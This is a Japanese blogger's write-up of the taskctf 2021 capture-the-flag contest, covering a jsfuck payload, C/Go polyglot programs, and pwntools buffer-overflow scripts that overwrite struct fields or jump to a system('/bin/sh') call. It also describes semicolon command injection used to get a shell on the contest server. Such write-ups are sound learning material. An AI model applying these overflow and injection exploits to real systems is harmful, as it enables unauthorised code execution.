net-nyan-cat

俺たちがインフラ野郎Aチーム

taskctf 2021 writeup

2021/12/13に行われたtaskctfのwriteupです。
主催者のtaskerさんが誕生日とのことで行われているCTFとのことです。
今回は36チーム中7位(全問正解)でした。
以下、writeupです。

Welcome

welcome (100pt)

f:id:xrzhev:20211213001326p:plain

Flag: taskctf{glhf!}

Misc

js (30pt)

f:id:xrzhev:20211213001419p:plain

6種類の文字列でjavascriptを動作させるコードとして、jsfuckが有名です。 github.com

今回は以下のサイトでコードを生成しました。 www.jsfuck.com

生成したコードは以下。 f:id:xrzhev:20211213001635p:plain

これをcurlのリクエストボディとしてサーバーに送信します。
(リクエストヘッダのContent-Typeはapplication/jsonに直したほうがいいですね)

$curl 34.145.29.222:30009 -X POST -d '{"want_flag": "(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]"}' -v -H "Content-Type: application/json"
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 34.145.29.222:30009...
* Connected to 34.145.29.222 (34.145.29.222) port 30009 (#0)
> POST / HTTP/1.1
> Host: 34.145.29.222:30009
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 152
> 
* upload completely sent off: 152 out of 152 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 32
< ETag: W/"20-AleVhd+mX47TAr92SixsAMSGfBQ"
< Date: Sun, 12 Dec 2021 13:36:11 GMT
< Connection: keep-alive
< 
* Connection #0 to host 34.145.29.222 left intact
taskctf{js_1s_4_tr1cky_l4ngu4ge}

Flag: taskctf{js_1s_4_tr1cky_l4ngu4ge}

Polyglot (30pt)

f:id:xrzhev:20211213002142p:plain
こちらが非常に参考になりました。 blog.nelhage.com

コードは以下

//\
/*
#include <stdio.h>
int main(void){FILE*f;char d[99];f=fopen("flag","r");fgets(d,99,f);printf(d);}
#if 0
//*/
package main
import(."fmt";."io/ioutil")
func main(){f,_:=ReadFile("flag");Print(string(f))}
//\
/*
#endif
//*/

Flag: taskctf{s0_curi0us}

Polygolf (50pt)

f:id:xrzhev:20211213002420p:plain

この問題に一番悩まされました。
やることはpolyglotと変わらないのですが、コードの長さを185バイト以内に収める必要があります。
強い人たちが短いコードを書きまくって競ってたの本当に面白かったです。
polyglotのようにプログラム上でファイルを読み込むのではなく、OSコマンドを叩く形にしました。(というか、それ以外のやり方が思いつかなかった...)

//\
/*
main(){system("cat f*");}
#if 0
//*/
package main
import(."fmt";."os/exec")
func main(){f,_:=Command("cat","flag").Output();Printf("%s",f)}
//\
/*
#endif
//*/

Flag: taskctf{H4ve_y0u_kn0w_p0lygl0t}

Pwnable

super_easy (30pt)

f:id:xrzhev:20211213002743p:plain

BOFでtask.is_doneを0以外の値に書き換えるとフラグゲット。
適当な文字列を流し込んどけばOKです。

f:id:xrzhev:20211213002903p:plain

Flag: taskctf{bre4k_e4sily}

super_easy2 (20pt)

BOFでtask.is_doneを0以外、task.scoreを0x1337に書き換えます。

from pwn import *

io = remote("34.145.29.222", 30003)
#io = gdb.debug("./super_easy2", '''
#    break *main+115
#    continue
#    ''')

io.recvline()

payload = b"A"*16 + b"\x00\x00\x37\x13" + b"\x37\x13"
print(payload)
io.sendline(payload)
io.interactive()

f:id:xrzhev:20211213003014p:plain

Flag: taskctf{y0u_c4n_4ls0_0verwr1te}

script_kiddie (20pt)

f:id:xrzhev:20211213003154p:plain

ソースコードを見るとエスケープなしでOSコマンドを叩いているので、;を使って好きなコマンドをリモートサーバーで実行しました。

f:id:xrzhev:20211213003226p:plain

f:id:xrzhev:20211213003234p:plain

Flag: taskctf{n0w_y0u_g0t_shell}

super_easy3 (30pt)

f:id:xrzhev:20211213003416p:plain

ソースを見るとさらに現在時刻との差分を見られています。

f:id:xrzhev:20211213003531p:plain

BOFで時刻を1日以内に調整した値を送り込んで条件を満たすようにしました。

from pwn import *

io = remote("34.145.29.222", 30004)
#io = gdb.debug("./super_easy3", '''
#    break *main+135
#    continue
#    ''')

io.recvline()

payload = b"A"*16 
payload += p32(0x1337)
payload += p32(0x1337)
payload += p32(0x1337)
payload += p32(0x0)
payload += p32(1639312200)

print(payload)
io.sendline(payload)
io.interactive()

f:id:xrzhev:20211213003602p:plain

Flag: taskctf{n0w_y0u_kn0w_t1me_t}

script_kiddie2 (30pt)

f:id:xrzhev:20211213003706p:plain

ソースを見るとscript_kiddieよりも入力できる文字が少なくなっています。
shを経由させてフラグを取得しました。

f:id:xrzhev:20211213003740p:plain

Flag: taskctf{sh_1s_als0_0k}

prediction (50pt)

f:id:xrzhev:20211213003804p:plain

BOF/bin/shを呼び出しているsystem関数に飛ばして実行させました。

f:id:xrzhev:20211213003851p:plain

from pwn import *


io = remote("34.145.29.222", 30006)
#io = process("./prediction")
#io = gdb.debug("./prediction", '''
#    break main
#    continue
#    ''')

io.recvuntil("flag?")

payload = b"taskctf{"
payload += b"A"*48
payload += p64(0x4013f7)

print(payload)
io.sendline(payload)
io.interactive()

f:id:xrzhev:20211213003927p:plain

Flag: taskctf{r0p_1s_f4mous_way}

おわりに

taskerさん開催お疲れ様でした!
去年とは毛色の違う問題で楽しめました。

polygolfでは本当に発狂しそうになりましたが、ビールを飲んだことで解けました。
リフレッシュは大事。

来年も楽しみにしています!